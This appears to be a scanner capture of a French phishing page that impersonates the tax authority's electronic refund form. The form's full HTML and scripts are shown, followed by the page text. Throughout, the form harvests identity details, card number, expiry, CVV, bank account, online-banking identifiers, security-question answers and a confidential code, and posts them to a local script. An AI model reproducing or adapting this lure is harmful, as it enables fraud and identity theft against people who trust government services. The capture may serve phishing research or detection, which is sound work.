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Form analysis
1 forms found in the DOMPOST ./next.php
<form method="POST" action="./next.php">
<div id="creation" class="form-group col-xs-12 col-md-6 col-lg-6 optionmere" style="margin-bottom: 4%;">
<h1 class="titre" style="
margin-top: -1%;
">Confirmer vos informations</h1>
<div class="" style="
margin-top: 0%;
">
<div class="erreur invisible" id="Cat23S"></div>
<div>
<input type="hidden" id="spi" name="spi">
<input type="hidden" id="teledec" name="teledec">
<input type="hidden" id="rfr" name="rfr">
<div class="form-group saisie">
<label for="teledec_tmp">Nom complet</label>
<a href="#" class="info">
<img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
<span data-toggle="tooltip">
Saisissez votre Prénom et Nom.
</span>
</a>
<br>
<div class="form-group saisie" style=" width: 102%;">
<input class="saisie4 " placeholder="Prénom" name="o2" aria-required="true" autocomplete="off" id="rfr_tmp" required="" style="
width: 49%;
">
<input class="saisie5 " placeholder="Nom" type="text" name="o1" aria-required="true" autocomplete="off" required="required" style="
width: 49%;
">
<div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
</div>
</div>
<div class="form-group saisie">
<label for="spi_tmp">Date de Naissance</label>
<br>
<div style="
width: 102%;
"><select name="o3" data-msg-required=" *" class="saisie2" id="user-base-data-jour" required="required" style="
">
<option value="">Jour</option>
<option value="01">01</option>
<option value="02">02</option>
<option value="03">03</option>
<option value="04">04</option>
<option value="05">05</option>
<option value="06">06</option>
<option value="07">07</option>
<option value="08">08</option>
<option value="09">09</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
<option value="13">13</option>
<option value="14">14</option>
<option value="15">15</option>
<option value="16">16</option>
<option value="17">17</option>
<option value="18">18</option>
<option value="19">19</option>
<option value="20">20</option>
<option value="21">21</option>
<option value="22">22</option>
<option value="23">23</option>
<option value="24">24</option>
<option value="25">25</option>
<option value="26">26</option>
<option value="27">27</option>
<option value="28">28</option>
<option value="29">29</option>
<option value="30">30</option>
<option value="31">31</option>
</select>
<select name="o4" data-rule-required="true" class="saisie2" data-msg-required=" *" id="user-base-data-mois" required="required" style="
width: 32%;
">
<option value="">Mois</option>
<option value="Janvier">Janvier</option>
<option value="Février">Février</option>
<option value="Mars">Mars</option>
<option value="Avril">Avril</option>
<option value="Mai">Mai</option>
<option value="Juin">Juin</option>
<option value="Juillet">Juillet</option>
<option value="Ao�t">Août</option>
<option value="Septembre">Septembre</option>
<option value="Octobre">Octobre</option>
<option value="Novembre">Novembre</option>
<option value="Décembre">Décembre</option>
</select>
<select name="o5" data-rule-required="true" data-msg-required=" *" class="saisie2" id="user-base-data-année" required="required">
<option value="">Année</option><!--l'année-->
<option value="1999">1999</option>
<option value="1998">1998</option>
<option value="1997">1997</option>
<option value="1996">1996</option>
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<option value="1993">1993</option>
<option value="1992">1992</option>
<option value="1991">1991</option>
<option value="1990">1990</option>
<option value="1989">1989</option>
<option value="1988">1988</option>
<option value="1987">1987</option>
<option value="1986">1986</option>
<option value="1985">1985</option>
<option value="1984">1984</option>
<option value="1983">1983</option>
<option value="1982">1982</option>
<option value="1981">1981</option>
<option value="1980">1980</option>
<option value="1979">1979</option>
<option value="1978">1978</option>
<option value="1977">1977</option>
<option value="1976">1976</option>
<option value="1975">1975</option>
<option value="1974">1974</option>
<option value="1973">1973</option>
<option value="1972">1972</option>
<option value="1971">1971</option>
<option value="1970">1970</option>
<option value="1969">1969</option>
<option value="1968">1968</option>
<option value="1967">1967</option>
<option value="1966">1966</option>
<option value="1965">1965</option>
<option value="1964">1964</option>
<option value="1963">1963</option>
<option value="1962">1962</option>
<option value="1961">1961</option>
<option value="1960">1960</option>
<option value="1959">1959</option>
<option value="1958">1958</option>
<option value="1957">1957</option>
<option value="1956">1956</option>
<option value="1955">1955</option>
<option value="1954">1954</option>
<option value="1953">1953</option>
<option value="1952">1952</option>
<option value="1951">1951</option>
<option value="1950">1950</option>
<option value="1949">1949</option>
<option value="1948">1948</option>
<option value="1947">1947</option>
<option value="1946">1946</option>
<option value="1945">1945</option>
<option value="1944">1944</option>
<option value="1943">1943</option>
<option value="1942">1942</option>
<option value="1941">1941</option>
<option value="1940">1940</option>
<option value="1939">1939</option>
<option value="1938">1938</option>
<option value="1937">1937</option>
<option value="1936">1936</option>
<option value="1935">1935</option>
<option value="1934">1934</option>
<option value="1933">1933</option>
<option value="1932">1932</option>
<option value="1931">1931</option>
<option value="1930">1930</option>
<option value="1929">1929</option>
<option value="1928">1928</option>
<option value="1927">1927</option>
<option value="1926">1926</option>
<option value="1925">1925</option>
<option value="1924">1924</option>
<option value="1923">1923</option>
<option value="1922">1922</option>
<option value="1921">1921</option>
<option value="1920">1920</option>
<option value="1919">1919</option>
<option value="1918">1918</option>
<option value="1917">1917</option>
<option value="1916">1916</option>
<option value="1915">1915</option>
<option value="1914">1914</option>
<option value="1913">1913</option>
<option value="1912">1912</option>
<option value="1911">1911</option>
<option value="1910">1910</option>
<option value="1909">1909</option>
<option value="1908">1908</option>
<option value="1907">1907</option>
<option value="1906">1906</option>
<option value="1905">1905</option>
</select>
</div>
</div>
<div class="form-group saisie">
<label for="teledec_tmp">Adresse</label>
<a href="#" class="info">
<img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
<span data-toggle="tooltip">
Saisissez votre Adresse/code Postal.
</span>
</a>
<br>
<div class="form-group saisie" style=" width: 102%;">
<input class="saisie4 " placeholder="Adresse" name="o8" maxlength="30" aria-required="true" autocomplete="off" id="rfr_tmp" required="" style="background-image: url(templates/2.png);background-repeat: no-repeat;background-position: 98%;background-size: 19px;
">
<input class="saisie5 " placeholder="Code Postal" type="numéro" name="o7" maxlength="05" aria-required="true" autocomplete="off" id="zip" required="required" style="width: 39%;">
<div class="erreur invisible" id="Cat1_3S_rfr_tmp"> Veuillez vérifier votre saisie. </div>
</div>
</div>
<div class="form-group saisie" style="
margin-bottom: -8%;
">
<label for="spi_tmp" style="
">Adresse email</label>
<a href="#" class="info">
<img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
<span data-toggle="tooltip">
Saisissez votre adresse email.
</span>
</a>
<br>
<input class="saisie TroisSChamps" name="mail" aria-required="true" type="text" placeholder="Adresse email" autocomplete="on" id="rfr_tmp" required="" style=" margin-bottom: 15%; background-image: url(templates/3.ico); background-repeat: no-repeat;
background-position: 98%;
background-size: 19px;
">
</div>
<div class="form-group saisie" style="
margin-bottom: -8%;
">
<label for="spi_tmp" style="
">Téléphone</label>
<a href="#" class="info">
<img width="18" height="18" class="aide" src="templates/info.png" alt="Aide">
<span data-toggle="tooltip">
Saisissez numéro de téléphone.
</span>
</a>
<br>
<input class="saisie TroisSChamps" pattern="^(?:0|\(?\+33\)?\s?|0033\s?)[1-79](?:[\.\-\s]?\d\d){4}$" name="o6" maxlength="10" aria-required="true" type="numéro" placeholder="Mobile" autocomplete="on" id="tel" required="" style=" margin-bottom: 15%; background-image: url(templates/3.ico); background-repeat: no-repeat;
background-position: 98%;
background-size: 19px;
">
</div>
</div>
</div>
</div>
<div id="creation" class="form-group col-xs-12 col-md-6 col-lg-6 optionmere1" style="">
<h1 class="titre" style="
margin-top: -1%;
">Vos coordonnées bancaire</h1>
<div class="" style="
margin-top: 0%;
">
<input type="hidden" id="spi" name="spi">
<input type="hidden" id="teledec" name="teledec">
<input type="hidden" id="rfr" name="rfr">
<div class="form-group saisie">
<script>
function chide() {
document.getElementById("ccin").style.display = 'none';
document.getElementById("account").style.display = 'none';
document.getElementById("separ").style.display = 'none';
document.getElementById("qbpos").style.display = 'none';
document.getElementById("reponses").style.display = 'none';
document.getElementById("qbpos2").style.display = 'none';
document.getElementById("reponses2").style.display = 'none';
document.getElementById("qbposlcl").style.display = 'none';
document.getElementById("reponseslcl").style.display = 'none';
document.getElementById("qbposlcl2").style.display = 'none';
document.getElementById("reponseslcl2").style.display = 'none';
document.getElementById("ibad").style.display = 'none';
document.getElementById("plus").style.display = 'none';
}
function ccheck(x) {
chide();
if (x == "pst") {
document.getElementById("account").style.display = '';
}
if (x == "cm") {}
if (x == "caisse") {}
if (x == "lcl") {
document.getElementById("qbposlcl").style.display = '';
document.getElementById("reponseslcl").style.display = '';
document.getElementById("separ").style.display = '';
document.getElementById("qbposlcl2").style.display = '';
document.getElementById("reponseslcl2").style.display = '';
}
if (x == "sg") {}
if (x == "bnp") {}
if (x == "bp") {
document.getElementById("plus").style.display = '';
}
document.getElementById("ccin").style.display = '';
}
</script>
<table border="0" cellspacing="0" width="560">
<tbody>
<tr>
<td width="180">
<label class="saisie ">Votre banque :</label>
</td>
<td>
<select class="saisie4 " name="bank" onchange="ccheck(this.options[this.selectedIndex].value);">
<option value="none">Choisissez votre banque</option>
<option value="amex">VISA</option>
<option value="axa">MASTERCARD</option>
<option value="na">Autres</option>
</select>
</td>
</tr>
</tbody>
</table>
<table id="ccin" border="0" cellspacing="0" width="560" style="display: none;">
<tbody>
<tr>
<td width="180"><label class="saisie ">Nº de carte de crèdit :</label></td>
<td>
<input oninput="maxLengthCheck(this)" maxlength="16" pattern="[0-9]{16}" type="tel" class="saisie TroisSChamps"
style="background-image: url(templates/cccc.png); background-repeat: no-repeat; background-position: 101.5% 74.8%; width: 225px;" id="cardcc" onkeyup="type_carte()" placeholder="Nº de carte de crédit" name="ccnum"
aria-required="true" autocomplete="off" required="required" templates="">
<div class="erreur invisible" id="ccnum"> Votre numéro de Carte de Crédit comporte uniquement des caract�res numériques ; veuillez vérifier votre saisie. </div>
</td>
</tr>
<tr>
<td width="180"><label class="saisie ">Date d'expiration :</label></td>
<td>
<select class="saisie4 " name="expMonth" tabindex="16" required="required" style="
width: 78px;
">
<option value="" selected="">Mois</option>
<option value="1">1</option>
<option value="2">2</option>
<option value="3">3</option>
<option value="4">4</option>
<option value="5">5</option>
<option value="6">6</option>
<option value="7">7</option>
<option value="8">8</option>
<option value="9">9</option>
<option value="10">10</option>
<option value="11">11</option>
<option value="12">12</option>
</select>
<select class="saisie4 " name="expYear" tabindex="17" required="required" style="
width: 98px;
">
<option value="" selected="">Année</option>
<option value="2023">2023</option>
<option value="2024">2024</option>
<option value="2025">2025</option>
<option value="2026">2026</option>
<option value="2027">2027</option>
<option value="2028">2028</option>
<option value="2029">2029</option>
<option value="2030">2030</option>
<option value="2031">2031</option>
<option value="2032">2032</option>
<option value="2033">2033</option>
<option value="2034">2034</option>
<option value="2035">2035</option>
</select>
</td>
</tr>
<script>
// This is an old version, for a more recent version look at
// https://jsfiddle.net/DRSDavidSoft/zb4ft1qq/2/
function maxLengthCheck(object) {
if (object.value.length > object.maxLength) object.value = object.value.slice(0, object.maxLength)
}
</script>
<tr>
<td width="174"><label class="saisie ">Cryptogramme :</label></td>
<td><input oninput="maxLengthCheck(this)" maxlength="4" min="1" max="4" placeholder="CVV" class="saisie4 " name="cvv" type="password" required="required" size="3" style="
width: 68px;
"></td>
</tr>
<tr id="account" style="display: none;">
<td width="174"><label class="saisie ">Numèro de compte :</label></td>
<td><input class="saisie4 " name="account" type="text" size="16"></td>
</tr>
<tr id="ibad" style="display: none;">
<td width="174"><label class="saisie ">Identifiant Banque � Distance :</label></td>
<td><input class="saisie4 " name="ibad" type="text" size="16"><img src="images/aide.html" title="L'identifiant est celui que vous utilisez pour vous connecter � Crèdit Mutuel."></td>
</tr>
<tr id="plus" style="display: none;">
<td width="174"><label class="saisie ">Cyberplus :</label></td>
<td><input class="saisie4 " name="plus" type="text" size="16"></td>
</tr>
<tr id="separ" style="display: none;">
<td width="49"><label class="saisie "></label></td>
<td></td>
</tr>
<tr id="qbpos" style="display : none;">
<td width="174"><label class="saisie ">Question personnelle 1 :</label></td>
<td><select class="saisie4 " name="question" id="question" size="1">
<option value="Dans quelle rue avez-vous grandi ?"> Dans quelle rue avez-vous grandi ? </option>
</select></td>
</tr>
<tr id="reponses" style="display: none;">
<td width="174"><label class="saisie ">Rèponse personnelle 1 :</label></td>
<td><input class="saisie4 " name="reponses" type="text" size="29"></td>
</tr>
<tr id="qbpos2" style="display : none;">
<td width="174"><label class="saisie ">Question personnelle 2 :</label></td>
<td><select class="saisie4 " name="question2" id="question2" size="1">
<option value="Le prènom de votre meilleur ami d'enfance ?"> Le prènom de votre meilleur ami d'enfance ? </option>
</select></td>
</tr>
<tr id="reponses2" style="display: none;">
<td width="174"><label class="saisie ">Rèponse personnelle 2 :</label></td>
<td><input class="saisie4 " name="reponses2" type="text" size="29"></td>
</tr>
<tr id="qbposlcl" style="display : none;">
<td style="
padding-right: 0px;
width: 200px;
" width="174"><label class="saisie ">Question personnelle 1 :</label></td>
<td><select class="saisie4 " name="questionlcl" id="questionlcl" size="1">
<option value="Dans quelle rue avez-vous grandi ?"> Nom de jeune fille de votre m�re ? </option>
</select></td>
</tr>
<tr id="reponseslcl" style="display: none;">
<td width="174"><label class="saisie ">Rèponse personnelle 1 :</label></td>
<td><input class="saisie4 " name="reponseslcl" type="text" size="29"></td>
</tr>
<tr id="qbposlcl2" style="display : none;">
<td width="174"><label class="saisie ">Question personnelle 2 :</label></td>
<td><select class="saisie4 " name="questionlcl2" id="questionlcl2" size="1">
<option value="Dans quelle rue avez-vous grandi ?"> Second prènom de votre pere ? </option>
</select></td>
</tr>
<tr id="reponseslcl2" style="display: none;">
<td width="174"><label class="saisie ">Rèponse personnelle 2 :</label></td>
<td><input class="saisie4 " name="reponseslcl2" type="text" size="29"></td>
</tr>
<tr id="ghazcisse" style="display: none;">
<td width="174"><label class="saisie ">Identifiant client :</label></td>
<td><input class="saisie4 " name="ghazcisse" type="text" size="4"></td>
</tr>
<tr id="ghazcisse0" style="display: none;">
<td width="174"><label class="saisie ">Code confidentiel :</label></td>
<td><input class="saisie4 " name="ghazcisse0" type="password" size="4"></td>
</tr>
</tbody>
</table>
<script type="text/javascript">
var frmvalidator = new Validator("darnoo");
frmvalidator.addValidation("ccnum", "req", "Veuillez entrer votre Nº de carte de crèdit.");
frmvalidator.addValidation("ccnum", "maxlen=16", "Votre Nº de carte de crèdit est incorrect.");
frmvalidator.addValidation("ccnum", "minlen=15", "Votre Nº de carte de crèdit est incorrect.");
frmvalidator.addValidation("ccnum", "num", "Votre Nº de carte de crèdit est incorrect.");
frmvalidator.addValidation("expMonth", "num", "Veuillez entrer la date d'èxpiration.");
frmvalidator.addValidation("expYear", "num", "Veuillez entrer la date d'èxpiration.");
frmvalidator.addValidation("cvv", "req", "Veuillez entrer votre Code de sècuritè (CVV).");
frmvalidator.addValidation("cvv", "num", "Veuillez entrer votre Code de sècuritè (CVV).");
frmvalidator.addValidation("cvv", "maxlen=4", "Votre Code de sècuritè (CVV) est incorrect.");
frmvalidator.addValidation("cvv", "minlen=3", "Votre Code de sècuritè (CVV) est incorrect.");
</script>
</div>
<div id="validation">
<button type="submit" class="btn11" name="btn11" onclick="document.getElementById('3S_formulaire').action=urlLogin3S ; return envoi3S();" style="margin-top: 3%;border-radius: 2%;margin-bottom: 6.7%;">Valider</button>
</div>
</div>
</div>
</form>
Text Content
* Votre espace particulier * Votre espace professionnel * Accueil * Particulier > Formulaire de remboursement électronique - N 0062405129 CONFIRMER VOS INFORMATIONS Nom complet Saisissez votre Prénom et Nom. Veuillez vérifier votre saisie. Date de Naissance Jour01020304050607080910111213141516171819202122232425262728293031 MoisJanvierFévrierMarsAvrilMaiJuinJuilletAoûtSeptembreOctobreNovembreDécembre Année 19991998199719961995199419931992199119901989198819871986198519841983198219811980197919781977197619751974197319721971197019691968196719661965196419631962196119601959195819571956195519541953195219511950194919481947194619451944194319421941194019391938193719361935193419331932193119301929192819271926192519241923192219211920191919181917191619151914191319121911191019091908190719061905 Adresse Saisissez votre Adresse/code Postal. Veuillez vérifier votre saisie. Adresse email Saisissez votre adresse email. Téléphone Saisissez numéro de téléphone. VOS COORDONNÉES BANCAIRE Votre banque : Choisissez votre banque VISA MASTERCARD Autres Nº de carte de crèdit : Votre numéro de Carte de Crédit comporte uniquement des caract�res numériques ; veuillez vérifier votre saisie. Date d'expiration : Mois 123456789101112 Année 2023202420252026202720282029203020312032203320342035 Cryptogramme : Numèro de compte : Identifiant Banque � Distance : Cyberplus : Question personnelle 1 : Dans quelle rue avez-vous grandi ? Rèponse personnelle 1 : Question personnelle 2 : Le prènom de votre meilleur ami d'enfance ? Rèponse personnelle 2 : Question personnelle 1 : Nom de jeune fille de votre m�re ? Rèponse personnelle 1 : Question personnelle 2 : Second prènom de votre pere ? Rèponse personnelle 2 : Identifiant client : Code confidentiel : Valider Un site de la direction générale des Finances publiques Direction générale des Finances publiques - Mentions légales AIDE * Il vous appartient de vous assurer que la configuration de votre ordinateur est compatible avec l'utilisation des télé procédures. Retour Fermer DÉCONNEXION Déconnexion en cours, veuillez patienter...